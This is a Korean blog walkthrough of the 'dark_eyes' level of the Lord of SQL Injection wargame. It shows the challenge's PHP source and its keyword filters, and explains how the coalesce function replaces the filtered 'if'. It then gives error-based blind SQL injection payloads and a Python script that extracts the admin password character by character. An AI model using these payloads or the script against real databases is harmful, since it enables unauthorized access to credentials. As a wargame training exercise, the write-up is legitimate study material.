소스를 보자
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
|
cs |
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
if(mysqli_error($db)) exit();
이전 문제와 다른 점은 필터링이 더 늘었다는 것과, sql 에러가 나면 php가 죽어버리는 점이 있다.
일단 이전 문제에서 사용했던 if를 우회해야 한다.
https://dorahee.tistory.com/140
위 글에서 if 를 대체할 함수로 coalesce함수가 나와있다.
coalesce는 null 값이 아닌 다음 인자를 반환한다.
1' or id='admin' and coalesce((select 1 where length(pw)=1) or null,(select 1 union select 2))%23
이렇게 하면 length(pw)=1 이 true가 되면 첫번째 인자가 null이 아니게 되어 다음 인자인 select 1 union select 2 를 반환하여 오류를 발생시킬 수 있다.
query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(pw)=8) or null,(select 1 union select 2))#'
pw는 8자리다.
query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(substr(pw,1,1))=1) or null,(select 1 union select 2))#'
은 참이다.
코드짜서 돌리자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import urllib
import urllib2
import sys
import time
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
for i in range(8):
for j in range(len(string)):
payload = "1' or id='admin' and coalesce((select 1 where substring(pw,"+str(i+1)+",1)='"+string[j]+"') or null,(select 1 union select 2))#"
payload = urllib.quote(payload)
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=your_cookie')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
if "query" in data:
key += string[j]
print "[*] Find Password!! Password is ["+key+"] admin"
break
else:
print "[-] Fail!"
time.sleep(0.01)
|
cs |
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [evil_wizard] 풀이 (0) | 2019.11.17 |
---|---|
LORD OF SQL INJECTION [hell_fire] 풀이 (0) | 2019.11.16 |
LORD OF SQL INJECTION [iron_golem] 풀이 (0) | 2019.11.14 |
LORD OF SQL INJECTION [DRAGON] 풀이 (0) | 2019.11.13 |
LORD OF SQL INJECTION [xavis] 풀이 (0) | 2019.11.12 |